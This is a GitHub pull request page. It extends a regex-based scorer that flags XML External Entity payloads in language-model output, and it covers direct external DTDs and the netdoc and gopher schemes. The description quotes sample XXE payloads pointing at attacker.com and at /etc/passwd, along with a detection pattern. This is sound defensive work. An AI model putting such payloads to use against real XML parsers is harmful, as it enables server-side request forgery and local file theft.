Repository navigation
FIX: Detect direct external DTDs and netdoc/gopher schemes in XXEOutputScorer - #3486
Open
Vardhman Gupta (Kaap10) wants to merge 1 commit into
Open
Vardhman Gupta (Kaap10) wants to merge 1 commit into
Vardhman Gupta (Kaap10) wants to merge 1 commit into
Conversation
Richard Lundeen (richlundeen)
approved these changes
Oct 25, 2026
Richard Lundeen (richlundeen)
left a comment
Contributor
There was a problem hiding this comment.
Looks good. This extends the existing regex approach to direct external DTD declarations and the additional schemes without adding a new parsing layer.
Reviewed with GitHub Copilot.
github-merge-queue
Bot
removed this pull request from the merge queue due to a conflict with the base branch
Oct 25, 2026
Vardhman Gupta (Kaap10)
force-pushed
the
fix/xxe-output-scorer-external-dtd
branch
from
October 26, 2026 02:13
28e2128 to
33246aa
Compare
Contributor
Author
|
Hi Richard Lundeen (@richlundeen), I have rebased the branch onto the latest This PR is now up to date and ready for review/merge queue. Thank you! |
This branch has not been deployed
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Description
XXEOutputScorerdetects XML External Entity payloads emitted in LLM responses. Currently, its default patterns require the<!ENTITYkeyword across all three patterns.This leaves two blindspots:
<!DOCTYPE>element (<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">or<!DOCTYPE test SYSTEM "file:///etc/passwd">) without declaring any inline entity. Parsers configured to resolve external DTDs dereference these immediately, triggering SSRF or local file leakage.netdoc:///etc/passwdprotocol handler (commonly used in JDK XXE bypasses and directory listing) andgopher://(used in XXE-to-SSRF attacks) were missing from the scheme list.This PR adds:
netdocandgopherto"External Entity Declaration"."External DTD Declaration"pattern requiring explicit protocol scheme targets ((?:file|https?|ftp|gopher|php|expect|jar|netdoc):), ensuring zero false positives on standard HTML5<!DOCTYPE html>or relative DTD files (note.dtd).Fixes #3485
Tests and Documentation
tests/unit/score/regex/test_xxe_output_scorer.pycovering direct external DTDs (SYSTEMandPUBLIC),netdoc:///, andgopher://.<!DOCTYPE note SYSTEM "note.dtd">) and element-only DOCTYPEs do not match."External DTD Declaration".ruff checkandruff format.